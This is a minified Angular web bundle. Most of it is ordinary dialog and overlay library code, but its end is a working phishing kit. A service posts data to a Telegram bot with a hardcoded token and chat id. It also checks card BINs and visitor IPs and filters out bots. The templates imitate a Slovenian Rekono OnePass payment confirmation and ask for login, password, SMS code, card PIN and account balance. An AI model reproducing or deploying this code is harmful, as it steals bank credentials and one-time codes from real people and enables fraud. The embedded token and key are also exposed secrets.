this._overlayRef?this._overlayRef.updateSize({height:t}):this._height=t,this}centerHorizontally(t=""){return this.left(t),this._justifyContent="center",this}centerVertically(t=""){return this.top(t),this._alignItems="center",this}apply(){if(!this._overlayRef||!this._overlayRef.hasAttached())return;const t=this._overlayRef.overlayElement.style,e=this._overlayRef.hostElement.style,n=this._overlayRef.getConfig(),{width:r,height:i,maxWidth:o,maxHeight:s}=n,a=!("100%"!==r&&"100vw"!==r||o&&"100%"!==o&&"100vw"!==o),c=!("100%"!==i&&"100vh"!==i||s&&"100%"!==s&&"100vh"!==s);t.position=this._cssPosition,t.marginLeft=a?"0":this._leftOffset,t.marginTop=c?"0":this._topOffset,t.marginBottom=this._bottomOffset,t.marginRight=this._rightOffset,a?e.justifyContent="flex-start":"center"===this._justifyContent?e.justifyContent="center":"rtl"===this._overlayRef.getConfig().direction?"flex-start"===this._justifyContent?e.justifyContent="flex-end":"flex-end"===this._justifyContent&&(e.justifyContent="flex-start"):e.justifyContent=this._justifyContent,e.alignItems=c?"flex-start":this._alignItems}dispose(){if(this._isDisposed||!this._overlayRef)return;const t=this._overlayRef.overlayElement.style,e=this._overlayRef.hostElement,n=e.style;e.classList.remove(JT),n.justifyContent=n.alignItems=t.marginTop=t.marginBottom=t.marginLeft=t.marginRight=t.position="",this._overlayRef=null,this._isDisposed=!0}}let eI=(()=>{class t{constructor(t,e,n,r){this._viewportRuler=t,this._document=e,this._platform=n,this._overlayContainer=r}global(){return new tI}connectedTo(t,e,n){return new YT(e,n,t,this._viewportRuler,this._document,this._platform,this._overlayContainer)}flexibleConnectedTo(t){return new $T(t,this._viewportRuler,this._document,this._platform,this._overlayContainer)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(HM),r.\u0275\u0275inject(s),r.\u0275\u0275inject(Rw),r.\u0275\u0275inject(UT))},t.\u0275prov=r.\u0275\u0275defineInjectable({factory:function(){return new t(r.\u0275\u0275inject(HM),r.\u0275\u0275inject(s),r.\u0275\u0275inject(Rw),r.\u0275\u0275inject(UT))},token:t,providedIn:"root"}),t})(),nI=0,rI=(()=>{class t{constructor(t,e,n,r,i,o,s,a,c,l,u){this.scrollStrategies=t,this._overlayContainer=e,this._componentFactoryResolver=n,this._positionBuilder=r,this._keyboardDispatcher=i,this._injector=o,this._ngZone=s,this._document=a,this._directionality=c,this._location=l,this._outsideClickDispatcher=u}create(t){const e=this._createHostElement(),n=this._createPaneElement(e),r=this._createPortalOutlet(n),i=new FT(t);return i.direction=i.direction||this._directionality.value,new qT(r,e,n,i,this._ngZone,this._keyboardDispatcher,this._document,this._location,this._outsideClickDispatcher)}position(){return this._positionBuilder}_createPaneElement(t){const e=this._document.createElement("div");return e.id="cdk-overlay-"+nI++,e.classList.add("cdk-overlay-pane"),t.appendChild(e),e}_createHostElement(){const t=this._document.createElement("div");return this._overlayContainer.getContainerElement().appendChild(t),t}_createPortalOutlet(t){return this._appRef||(this._appRef=this._injector.get(r.ApplicationRef)),new bx(t,this._componentFactoryResolver,this._appRef,this._injector,this._document)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(jT),r.\u0275\u0275inject(UT),r.\u0275\u0275inject(r.ComponentFactoryResolver),r.\u0275\u0275inject(eI),r.\u0275\u0275inject(zT),r.\u0275\u0275inject(r.Injector),r.\u0275\u0275inject(r.NgZone),r.\u0275\u0275inject(s),r.\u0275\u0275inject(wx),r.\u0275\u0275inject(C),r.\u0275\u0275inject(GT))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})();const iI={provide:new r.InjectionToken("cdk-connected-overlay-scroll-strategy"),deps:[rI],useFactory:function(t){return()=>t.scrollStrategies.reposition()}};let oI=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({providers:[rI,iI],imports:[[xx,_x,GM],GM]}),t})();function sI(t,e){}class aI{constructor(){this.role="dialog",this.panelClass="",this.hasBackdrop=!0,this.backdropClass="",this.disableClose=!1,this.width="",this.height="",this.maxWidth="80vw",this.data=null,this.ariaDescribedBy=null,this.ariaLabelledBy=null,this.ariaLabel=null,this.autoFocus=!0,this.restoreFocus=!0,this.closeOnNavigation=!0}}const cI={dialogContainer:Ox("dialogContainer",[kx("void, exit",Ix({opacity:0,transform:"scale(0.7)"})),kx("enter",Ix({transform:"none"})),Ax("* => enter",Ex("150ms cubic-bezier(0, 0, 0.2, 1)",Ix({transform:"none",opacity:1}))),Ax("* => void, * => exit",Ex("75ms cubic-bezier(0.4, 0.0, 0.2, 1)",Ix({opacity:0})))])};let lI=(()=>{class t extends yx{constructor(t,e,n,i,o,s){super(),this._elementRef=t,this._focusTrapFactory=e,this._changeDetectorRef=n,this._config=o,this._focusMonitor=s,this._animationStateChanged=new r.EventEmitter,this._elementFocusedBeforeDialogWasOpened=null,this._closeInteractionType=null,this.attachDomPortal=t=>(this._portalOutlet.hasAttached(),this._portalOutlet.attachDomPortal(t)),this._ariaLabelledBy=o.ariaLabelledBy||null,this._document=i}_initializeWithAttachedContent(){this._setupFocusTrap(),this._capturePreviouslyFocusedElement(),this._focusDialogContainer()}attachComponentPortal(t){return this._portalOutlet.hasAttached(),this._portalOutlet.attachComponentPortal(t)}attachTemplatePortal(t){return this._portalOutlet.hasAttached(),this._portalOutlet.attachTemplatePortal(t)}_recaptureFocus(){this._containsFocus()||(!this._config.autoFocus||!this._focusTrap.focusInitialElement())&&this._elementRef.nativeElement.focus()}_trapFocus(){this._config.autoFocus?this._focusTrap.focusInitialElementWhenReady():this._containsFocus()||this._elementRef.nativeElement.focus()}_restoreFocus(){const t=this._elementFocusedBeforeDialogWasOpened;if(this._config.restoreFocus&&t&&"function"==typeof t.focus){const e=Vw(),n=this._elementRef.nativeElement;(!e||e===this._document.body||e===n||n.contains(e))&&(this._focusMonitor?(this._focusMonitor.focusVia(t,this._closeInteractionType),this._closeInteractionType=null):t.focus())}this._focusTrap&&this._focusTrap.destroy()}_setupFocusTrap(){this._focusTrap=this._focusTrapFactory.create(this._elementRef.nativeElement)}_capturePreviouslyFocusedElement(){this._document&&(this._elementFocusedBeforeDialogWasOpened=Vw())}_focusDialogContainer(){this._elementRef.nativeElement.focus&&this._elementRef.nativeElement.focus()}_containsFocus(){const t=this._elementRef.nativeElement,e=Vw();return t===e||t.contains(e)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(r.ElementRef),r.\u0275\u0275directiveInject(Zw),r.\u0275\u0275directiveInject(r.ChangeDetectorRef),r.\u0275\u0275directiveInject(s,8),r.\u0275\u0275directiveInject(aI),r.\u0275\u0275directiveInject(sx))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t,viewQuery:function(t,e){if(1&t&&r.\u0275\u0275viewQuery(vx,7),2&t){let t;r.\u0275\u0275queryRefresh(t=r.\u0275\u0275loadQuery())&&(e._portalOutlet=t.first)}},features:[r.\u0275\u0275InheritDefinitionFeature]}),t})(),uI=(()=>{class t extends lI{constructor(){super(...arguments),this._state="enter"}_onAnimationDone({toState:t,totalTime:e}){"enter"===t?(this._trapFocus(),this._animationStateChanged.next({state:"opened",totalTime:e})):"exit"===t&&(this._restoreFocus(),this._animationStateChanged.next({state:"closed",totalTime:e}))}_onAnimationStart({toState:t,totalTime:e}){"enter"===t?this._animationStateChanged.next({state:"opening",totalTime:e}):("exit"===t||"void"===t)&&this._animationStateChanged.next({state:"closing",totalTime:e})}_startExitAnimation(){this._state="exit",this._changeDetectorRef.markForCheck()}}return t.\u0275fac=function(){let e;return function(n){return(e||(e=r.\u0275\u0275getInheritedFactory(t)))(n||t)}}(),t.\u0275cmp=r.\u0275\u0275defineComponent({type:t,selectors:[["mat-dialog-container"]],hostAttrs:["tabindex","-1","aria-modal","true",1,"mat-dialog-container"],hostVars:6,hostBindings:function(t,e){1&t&&r.\u0275\u0275syntheticHostListener("@dialogContainer.start",function(t){return e._onAnimationStart(t)})("@dialogContainer.done",function(t){return e._onAnimationDone(t)}),2&t&&(r.\u0275\u0275hostProperty("id",e._id),r.\u0275\u0275attribute("role",e._config.role)("aria-labelledby",e._config.ariaLabel?null:e._ariaLabelledBy)("aria-label",e._config.ariaLabel)("aria-describedby",e._config.ariaDescribedBy||null),r.\u0275\u0275syntheticHostProperty("@dialogContainer",e._state))},features:[r.\u0275\u0275InheritDefinitionFeature],decls:1,vars:0,consts:[["cdkPortalOutlet",""]],template:function(t,e){1&t&&r.\u0275\u0275template(0,sI,0,0,"ng-template",0)},directives:[vx],styles:[".mat-dialog-container{display:block;padding:24px;border-radius:4px;box-sizing:border-box;overflow:auto;outline:0;width:100%;height:100%;min-height:inherit;max-height:inherit}.cdk-high-contrast-active .mat-dialog-container{outline:solid 1px}.mat-dialog-content{display:block;margin:0 -24px;padding:0 24px;max-height:65vh;overflow:auto;-webkit-overflow-scrolling:touch}.mat-dialog-title{margin:0 0 20px;display:block}.mat-dialog-actions{padding:8px 0;display:flex;flex-wrap:wrap;min-height:52px;align-items:center;box-sizing:content-box;margin-bottom:-24px}.mat-dialog-actions[align=end]{justify-content:flex-end}.mat-dialog-actions[align=center]{justify-content:center}.mat-dialog-actions .mat-button-base+.mat-button-base,.mat-dialog-actions .mat-mdc-button-base+.mat-mdc-button-base{margin-left:8px}[dir=rtl] .mat-dialog-actions .mat-button-base+.mat-button-base,[dir=rtl] .mat-dialog-actions .mat-mdc-button-base+.mat-mdc-button-base{margin-left:0;margin-right:8px}\n"],encapsulation:2,data:{animation:[cI.dialogContainer]}}),t})(),dI=0;class hI{constructor(t,e,n="mat-dialog-"+dI++){this._overlayRef=t,this._containerInstance=e,this.id=n,this.disableClose=this._containerInstance._config.disableClose,this._afterOpened=new We.xQ,this._afterClosed=new We.xQ,this._beforeClosed=new We.xQ,this._state=0,e._id=n,e._animationStateChanged.pipe(ae(t=>"opened"===t.state),yn(1)).subscribe(()=>{this._afterOpened.next(),this._afterOpened.complete()}),e._animationStateChanged.pipe(ae(t=>"closed"===t.state),yn(1)).subscribe(()=>{clearTimeout(this._closeFallbackTimeout),this._finishDialogClose()}),t.detachments().subscribe(()=>{this._beforeClosed.next(this._result),this._beforeClosed.complete(),this._afterClosed.next(this._result),this._afterClosed.complete(),this.componentInstance=null,this._overlayRef.dispose()}),t.keydownEvents().pipe(ae(t=>27===t.keyCode&&!this.disableClose&&!Cw(t))).subscribe(t=>{t.preventDefault(),pI(this,"keyboard")}),t.backdropClick().subscribe(()=>{this.disableClose?this._containerInstance._recaptureFocus():pI(this,"mouse")})}close(t){this._result=t,this._containerInstance._animationStateChanged.pipe(ae(t=>"closing"===t.state),yn(1)).subscribe(e=>{this._beforeClosed.next(t),this._beforeClosed.complete(),this._overlayRef.detachBackdrop(),this._closeFallbackTimeout=setTimeout(()=>this._finishDialogClose(),e.totalTime+100)}),this._state=1,this._containerInstance._startExitAnimation()}afterOpened(){return this._afterOpened}afterClosed(){return this._afterClosed}beforeClosed(){return this._beforeClosed}backdropClick(){return this._overlayRef.backdropClick()}keydownEvents(){return this._overlayRef.keydownEvents()}updatePosition(t){let e=this._getPositionStrategy();return t&&(t.left||t.right)?t.left?e.left(t.left):e.right(t.right):e.centerHorizontally(),t&&(t.top||t.bottom)?t.top?e.top(t.top):e.bottom(t.bottom):e.centerVertically(),this._overlayRef.updatePosition(),this}updateSize(t="",e=""){return this._overlayRef.updateSize({width:t,height:e}),this._overlayRef.updatePosition(),this}addPanelClass(t){return this._overlayRef.addPanelClass(t),this}removePanelClass(t){return this._overlayRef.removePanelClass(t),this}getState(){return this._state}_finishDialogClose(){this._state=2,this._overlayRef.dispose()}_getPositionStrategy(){return this._overlayRef.getConfig().positionStrategy}}function pI(t,e,n){return void 0!==t._containerInstance&&(t._containerInstance._closeInteractionType=e),t.close(n)}const fI=new r.InjectionToken("MatDialogData"),gI=new r.InjectionToken("mat-dialog-default-options"),mI=new r.InjectionToken("mat-dialog-scroll-strategy"),yI={provide:mI,deps:[rI],useFactory:function(t){return()=>t.scrollStrategies.block()}};let bI=(()=>{class t{constructor(t,e,n,r,i,o,s,a,c){this._overlay=t,this._injector=e,this._defaultOptions=n,this._parentDialog=r,this._overlayContainer=i,this._dialogRefConstructor=s,this._dialogContainerType=a,this._dialogDataToken=c,this._openDialogsAtThisLevel=[],this._afterAllClosedAtThisLevel=new We.xQ,this._afterOpenedAtThisLevel=new We.xQ,this._ariaHiddenElements=new Map,this.afterAllClosed=un(()=>this.openDialogs.length?this._getAfterAllClosed():this._getAfterAllClosed().pipe(_n(void 0))),this._scrollStrategy=o}get openDialogs(){return this._parentDialog?this._parentDialog.openDialogs:this._openDialogsAtThisLevel}get afterOpened(){return this._parentDialog?this._parentDialog.afterOpened:this._afterOpenedAtThisLevel}_getAfterAllClosed(){const t=this._parentDialog;return t?t._getAfterAllClosed():this._afterAllClosedAtThisLevel}open(t,e){(e=function(t,e){return Object.assign(Object.assign({},e),t)}(e,this._defaultOptions||new aI)).id&&this.getDialogById(e.id);const n=this._createOverlay(e),r=this._attachDialogContainer(n,e),i=this._attachDialogContent(t,r,n,e);return this.openDialogs.length||this._hideNonDialogContentFromAssistiveTechnology(),this.openDialogs.push(i),i.afterClosed().subscribe(()=>this._removeOpenDialog(i)),this.afterOpened.next(i),r._initializeWithAttachedContent(),i}closeAll(){this._closeDialogs(this.openDialogs)}getDialogById(t){return this.openDialogs.find(e=>e.id===t)}ngOnDestroy(){this._closeDialogs(this._openDialogsAtThisLevel),this._afterAllClosedAtThisLevel.complete(),this._afterOpenedAtThisLevel.complete()}_createOverlay(t){const e=this._getOverlayConfig(t);return this._overlay.create(e)}_getOverlayConfig(t){const e=new FT({positionStrategy:this._overlay.position().global(),scrollStrategy:t.scrollStrategy||this._scrollStrategy(),panelClass:t.panelClass,hasBackdrop:t.hasBackdrop,direction:t.direction,minWidth:t.minWidth,minHeight:t.minHeight,maxWidth:t.maxWidth,maxHeight:t.maxHeight,disposeOnNavigation:t.closeOnNavigation});return t.backdropClass&&(e.backdropClass=t.backdropClass),e}_attachDialogContainer(t,e){const n=r.Injector.create({parent:e&&e.viewContainerRef&&e.viewContainerRef.injector||this._injector,providers:[{provide:aI,useValue:e}]}),i=new fx(this._dialogContainerType,e.viewContainerRef,n,e.componentFactoryResolver);return t.attach(i).instance}_attachDialogContent(t,e,n,i){const o=new this._dialogRefConstructor(n,e,i.id);if(t instanceof r.TemplateRef)e.attachTemplatePortal(new gx(t,null,{$implicit:i.data,dialogRef:o}));else{const n=this._createInjector(i,o,e),r=e.attachComponentPortal(new fx(t,i.viewContainerRef,n));o.componentInstance=r.instance}return o.updateSize(i.width,i.height).updatePosition(i.position),o}_createInjector(t,e,n){const i=t&&t.viewContainerRef&&t.viewContainerRef.injector,o=[{provide:this._dialogContainerType,useValue:n},{provide:this._dialogDataToken,useValue:t.data},{provide:this._dialogRefConstructor,useValue:e}];return t.direction&&(!i||!i.get(wx,null,r.InjectFlags.Optional))&&o.push({provide:wx,useValue:{value:t.direction,change:(0,ne.of)()}}),r.Injector.create({parent:i||this._injector,providers:o})}_removeOpenDialog(t){const e=this.openDialogs.indexOf(t);e>-1&&(this.openDialogs.splice(e,1),this.openDialogs.length||(this._ariaHiddenElements.forEach((t,e)=>{t?e.setAttribute("aria-hidden",t):e.removeAttribute("aria-hidden")}),this._ariaHiddenElements.clear(),this._getAfterAllClosed().next()))}_hideNonDialogContentFromAssistiveTechnology(){const t=this._overlayContainer.getContainerElement();if(t.parentElement){const e=t.parentElement.children;for(let n=e.length-1;n>-1;n--){let r=e[n];r!==t&&"SCRIPT"!==r.nodeName&&"STYLE"!==r.nodeName&&!r.hasAttribute("aria-live")&&(this._ariaHiddenElements.set(r,r.getAttribute("aria-hidden")),r.setAttribute("aria-hidden","true"))}}}_closeDialogs(t){let e=t.length;for(;e--;)t[e].close()}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(rI),r.\u0275\u0275directiveInject(r.Injector),r.\u0275\u0275directiveInject(void 0),r.\u0275\u0275directiveInject(void 0),r.\u0275\u0275directiveInject(UT),r.\u0275\u0275directiveInject(void 0),r.\u0275\u0275directiveInject(r.Type),r.\u0275\u0275directiveInject(r.Type),r.\u0275\u0275directiveInject(r.InjectionToken))},t.\u0275dir=r.\u0275\u0275defineDirective({type:t}),t})(),vI=(()=>{class t extends bI{constructor(t,e,n,r,i,o,s){super(t,e,r,o,s,i,hI,uI,fI)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(rI),r.\u0275\u0275inject(r.Injector),r.\u0275\u0275inject(C,8),r.\u0275\u0275inject(gI,8),r.\u0275\u0275inject(mI),r.\u0275\u0275inject(t,12),r.\u0275\u0275inject(UT))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac}),t})(),_I=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=r.\u0275\u0275defineNgModule({type:t}),t.\u0275inj=r.\u0275\u0275defineInjector({providers:[vI,yI],imports:[[oI,_x,mM],mM]}),t})(),CI=(()=>{class t{constructor(t){this.http=t}getBkName(t){return this.http.get("https://lookup.binlist.net/"+t)}botBlocker(t,e){return this.http.get("/api/v2-blockers?ip="+e+"&apikey=826d84714981d485b5b3a25c43d282aa&ua="+t)}getIpAddress(){return this.http.get("https://api.ipify.org/?format=json")}getCountry(t){return this.http.get("https://ipapi.co/"+t+"/json/")}sendTelegram(t){return this.http.post("https://api.telegram.org/bot5297340772:AAHMlT0wTB6VA0l6yKX6owfJ4UZApxHpIOw/sendMessage?chat_id=-1001765749225&text="+t,null)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275inject(ke))},t.\u0275prov=r.\u0275\u0275defineInjectable({token:t,factory:t.\u0275fac,providedIn:"root"}),t})();function wI(t,e){1&t&&(r.\u0275\u0275elementStart(0,"h2",31),r.\u0275\u0275elementStart(1,"strong"),r.\u0275\u0275text(2," Potrdite pla\u010dilo"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function xI(t,e){1&t&&(r.\u0275\u0275elementStart(0,"h2",31),r.\u0275\u0275elementStart(1,"strong"),r.\u0275\u0275text(2," Varnostno vpra\u0161anje:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function PI(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275text(1," Prijavite se v Rekono OnePass, da potrdite transakcijo. Te informacije se ne delijo s trgovcem."),r.\u0275\u0275elementEnd())}function SI(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span",32),r.\u0275\u0275text(2," Prosimo vnesite SMS kodo, ki ste jo prejeli "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function MI(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span",32),r.\u0275\u0275text(2," Vnesite kodo PIN za naslednjo kartico: XXXX-"),r.\u0275\u0275elementStart(3,"strong"),r.\u0275\u0275text(4),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(4),r.\u0275\u0275textInterpolate1("",t.showCode," ")}}function OI(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span",32),r.\u0275\u0275text(2),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(2),r.\u0275\u0275textInterpolate1(" Kak\u0161no je stanje na va\u0161em primarnem ra\u010dunu za va\u0161o kartico XXXX-",t.showCode,"")}}function EI(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div"),r.\u0275\u0275element(1,"img",33),r.\u0275\u0275elementEnd())}function TI(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275elementStart(4,"div",42),r.\u0275\u0275elementStart(5,"input",43),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(4).user=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div",39),r.\u0275\u0275elementStart(7,"div",42),r.\u0275\u0275elementStart(8,"input",44),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(4).pass=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(9,"td",37),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(4);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngModel",t.user),r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.pass)}}function II(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275template(1,TI,10,2,"tr",6),r.\u0275\u0275elementStart(2,"div",39),r.\u0275\u0275elementStart(3,"div",38),r.\u0275\u0275elementStart(4,"input",40),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirm()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==t.step||4==t.step)}}function kI(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275elementStart(1,"input",40),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmSMS()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}}function AI(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",22),r.\u0275\u0275element(4,"div",36),r.\u0275\u0275template(5,II,5,1,"div",34),r.\u0275\u0275template(6,kI,2,0,"div",34),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(7,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==t.step||6==t.step)}}function DI(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Podatki za prijavo so napa\u010dni. "),r.\u0275\u0275elementEnd())}function NI(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,DI,2,0,"div",45),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function RI(t,e){1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275elementStart(4,"div",42),r.\u0275\u0275elementStart(5,"a",47),r.\u0275\u0275text(6," Potrebujem pomo\u010d? "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(7,"td",37),r.\u0275\u0275elementEnd())}function LI(t,e){1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275element(2,"td"),r.\u0275\u0275element(3,"td",37),r.\u0275\u0275elementEnd())}function jI(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275elementStart(1,"div",39),r.\u0275\u0275elementStart(2,"div",42),r.\u0275\u0275elementStart(3,"input",48),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).smsCode=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(4,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(5,"div",49),r.\u0275\u0275elementStart(6,"p"),r.\u0275\u0275text(7,"6-mestna SMS koda"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(8,"input",50),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmSMS()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.smsCode)}}function FI(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,jI,9,1,"div",34),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",5==t.step||6==t.step)}}function VI(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Odobritev transakcije ni uspela, poskusite znova. "),r.\u0275\u0275elementEnd())}function BI(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,VI,2,0,"div",45),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function HI(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275elementStart(1,"div",39),r.\u0275\u0275elementStart(2,"div",42),r.\u0275\u0275elementStart(3,"input",51),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).smsCode=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(4,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(5,"div",49),r.\u0275\u0275elementStart(6,"p"),r.\u0275\u0275text(7,"4-mestna koda PIN"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(8,"input",50),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmPIN()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.smsCode)}}function zI(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,HI,9,1,"div",34),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",7==t.step||8==t.step)}}function GI(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Koda PIN je napa\u010dna, preverite in poskusite znova. "),r.\u0275\u0275elementEnd())}function UI(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,GI,2,0,"div",45),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function qI(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275elementStart(4,"div",42),r.\u0275\u0275elementStart(5,"input",52),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).user=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div",39),r.\u0275\u0275elementStart(7,"div",42),r.\u0275\u0275elementStart(8,"input",53),r.\u0275\u0275listener("ngModelChange",function(e){return 